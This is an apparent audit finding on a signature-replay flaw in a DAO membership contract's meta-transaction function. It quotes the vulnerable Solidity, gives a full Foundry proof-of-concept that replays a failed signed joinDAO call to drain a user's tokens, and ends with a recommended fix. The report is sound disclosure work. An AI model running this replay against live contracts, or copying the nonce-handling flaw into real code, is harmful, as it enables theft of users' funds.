Any transactions that fail based on some conditions that may change in the future are not safe to be executed again later (e.g. transactions that are based on others actions).
In the current implementation, once the low-level call is failed, the whole tx will be reverted and so that nonces[userAddress] will remain unchanged.
As a result, the same tx can be replayed by anyone, using the same signature.
function executeMetaTransaction(
address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
nonces[userAddress] = nonces[userAddress] + 1;
emit MetaTransactionExecuted(
userAddress,
msg.sender,
functionSignature,
hashMetaTransaction(metaTx)
);
(bool success, bytes memory returnData) = address(this).call{value: msg.value}(
abi.encodePacked(functionSignature, userAddress)
);
require(success, "Function call not successful");
return returnData;
}
The vulnerability could lead to severe financial losses for users. An attacker can exploit the unchanged nonce by replaying the failed transaction when conditions permit, transferring funds against the user's will. Additionally, insufficient gas could trigger griefing attacks, repeatedly failing transactions without expending the required gas, potentially leading to network congestion and denial of service.
pragma solidity 0.8.22;
import {MembershipFactory} from "../contracts/dao/MembershipFactory.sol";
import {OWPIdentity} from "../contracts/OWPIdentity.sol";
import {MembershipERC1155} from "../contracts/dao/tokens/MembershipERC1155.sol";
import {OWPERC20} from "../contracts/shared/testERC20.sol";
import {CurrencyManager} from "../contracts/dao/CurrencyManager.sol";
import {Test, console} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {DAOConfig, DAOInputConfig, TierConfig, DAOType} from "../contracts/dao/libraries/MembershipDAOStructs.sol";
import {IAccessControl} from "@openzeppelin/contracts/access/IAccessControl.sol";
import {NativeMetaTransaction} from "../contracts/meta-transaction/NativeMetaTransaction.sol";
contract BugTest is Test {
ERC1967Proxy public proxy;
MembershipFactory public membershipFactory;
MembershipERC1155 public membershipERC1155_implmentation;
MembershipERC1155 public membershipERC1155;
OWPERC20 public usdc;
OWPIdentity public owpIdentity;
CurrencyManager public currencyManager;
address public bluedragon = makeAddr("bluedragon");
address public purpledragon = makeAddr("purpledragon");
address public admin = makeAddr("admin");
address public alice = makeAddr("alice");
address public mahi;
uint256 public mahi_key;
function setUp() public {
(mahi, mahi_key) = makeAddrAndKey("mahi");
usdc = new OWPERC20("OWP", "OWP");
vm.startPrank(admin);
currencyManager = new CurrencyManager();
membershipERC1155_implmentation = new MembershipERC1155();
bytes memory data = abi.encodeWithSignature("initialize(string,string,string,address,address)", "OWP", "OWP", "One-World", admin, address(usdc));
proxy = new ERC1967Proxy(address(membershipERC1155_implmentation), data);
membershipERC1155 = MembershipERC1155(address(proxy));
membershipFactory = new MembershipFactory(address(currencyManager), admin, "https://baseuri.com/", address(membershipERC1155_implmentation));
currencyManager.addCurrency(address(usdc));
vm.stopPrank();
}
function Inputs() internal view returns (DAOInputConfig memory config, TierConfig[] memory tiers) {
DAOInputConfig memory config = DAOInputConfig({
ensname: "test",
daoType: DAOType.PUBLIC,
currency: address(usdc),
maxMembers: 50,
noOfTiers: 7
});
TierConfig[] memory tiers = new TierConfig[]();
tiers[0] = TierConfig({
amount: 1,
price: 10e6,
power: 1,
minted: 0
});
tiers[1] = TierConfig({
amount: 2,
price: 10e6,
power: 2,
minted: 0
});
tiers[2] = TierConfig({
amount: 3,
price: 10e6,
power: 3,
minted: 0
});
tiers[3] = TierConfig({
amount: 4,
price: 10e6,
power: 4,
minted: 0
});
tiers[4] = TierConfig({
amount: 5,
price: 10e6,
power: 5,
minted: 0
});
tiers[5] = TierConfig({
amount: 6,
price: 10e6,
power: 6,
minted: 0
});
tiers[6] = TierConfig({
amount: 7,
price: 10e6,
power: 7,
minted: 0
});
return (config, tiers);
}
function test_FortisAudits_ReplayAttack() public {
usdc.mint(mahi, 100e6);
DAOInputConfig memory config;
TierConfig[] memory tiers;
(config, tiers) = Inputs();
vm.startPrank(alice);
usdc.approve(address(membershipFactory), type(uint256).max);
address new_DAO_addr = membershipFactory.createNewDAOMembership(config, tiers);
vm.stopPrank();
bytes memory functionSignature = abi.encodeWithSelector(
membershipFactory.joinDAO.selector, new_DAO_addr, 1
);
uint256 nonce = membershipFactory.getNonce(mahi);
NativeMetaTransaction.MetaTransaction memory metaTx = NativeMetaTransaction.MetaTransaction(
nonce, mahi, functionSignature
);
bytes32 messageHash = membershipFactory.hashMetaTransaction(metaTx);
bytes32 domainSeparator = membershipFactory.getDomainSeperator();
bytes32 digest = keccak256(
abi.encodePacked("\x19\x01", domainSeparator, messageHash)
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(mahi_key, digest);
vm.expectRevert();
membershipFactory.executeMetaTransaction(mahi, functionSignature, r, s, v);
console.log("*---------------------Before joining DAO--------------------*");
console.log("Balance of mahi: ", usdc.balanceOf(mahi));
vm.startPrank(mahi);
usdc.approve(address(membershipFactory), type(uint256).max);
membershipFactory.joinDAO(new_DAO_addr, 1);
vm.stopPrank();
console.log("*---------------------After joining DAO---------------------*");
console.log("Balance of mahi: ", usdc.balanceOf(mahi));
vm.prank(bluedragon);
membershipFactory.executeMetaTransaction(mahi, functionSignature, r, s, v);
console.log("*--------------After replaying the transaction--------------*");
console.log("Balance of Mahi: ", usdc.balanceOf(mahi));
console.log("Mahi loss of funds: ", 100e6 - tiers[0].price - usdc.balanceOf(mahi));
}
}
Failed txs should still increase the nonce .
While implementating the change above, consider adding one more check to require sufficient gas to be paid, to prevent "insufficient gas griefing attack" as described in this article.
